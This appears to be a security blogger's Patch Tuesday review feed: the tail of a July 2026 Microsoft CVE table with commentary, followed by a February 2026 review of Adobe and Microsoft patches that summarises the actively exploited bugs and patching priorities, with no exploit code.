CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”. HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The February 2026 Security Update Review

Sat, 25 Jul 2026 19:00:44 +0200

I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

- CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

- CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

- CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

- CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

- CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

- CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

CVE	Title	Severity	CVSS	Public	Exploited	TYPE
CVE-2026-21514	Microsoft Word Security Feature Bypass Vulnerability	Important	7.8	Yes	Yes	SFB
CVE-2026-21510	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21513	Internet Explorer Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21519	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21533	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21525	Windows Remote Access Connection Manager Denial of Service Vulnerability	Moderate	6.2	No	Yes	DoS
CVE-2026-21511	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2023-2804 *	Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo	Important	6.5	Yes	No	RCE
CVE-2026-24302	Azure Arc Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-24300	Azure Front Door Elevation of Privilege Vulnerability	Critical	9.8	No	No	EoP
CVE-2026-21532	Azure Function Information Disclosure Vulnerability	Critical	8.2	No	No	Info
CVE-2026-21522	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-23655	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21218	.NET and Visual Studio Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21512	Azure DevOps Server Cross-Site Scripting Vulnerability	Important	6.5	No	No	XSS
CVE-2026-21529 †	Azure HDInsight Spoofing Vulnerability	Important	5.7	No	No	Spoofing
CVE-2026-21528	Azure IoT Explorer Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-21228	Azure Local Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-21531	Azure SDK for Python Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-21251	Cluster Client Failover (CCF) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20846	GDI+ Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-21523	GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21518	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-21257	GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-21256	GitHub Copilot and Visual Studio Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21516	GitHub Copilot for Jetbrains Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21253	Mailslot File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21537 †	Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21259	Microsoft Excel Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21258	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21261	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21527	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-21260	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21229	Power BI Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21236	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21238	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21241	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21517	Windows App for Mac Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21234	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21235	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21246	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21232	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21240	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21250	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21244	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21247	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21248	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21255	Windows Hyper-V Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-21231	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21239	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21245	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21222	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21243	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20841	Windows Notepad App Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21249	Windows NTLM Spoofing Vulnerability	Important	3.3	No	No	Spoofing
CVE-2026-21508	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21237	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21242	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-1861 *	Chromium: CVE-2026-1861 Heap buffer overflow in libvpx	High	N/A	No	No	RCE
CVE-2026-1862 *	Chromium: CVE-2026-1862 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-0391	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

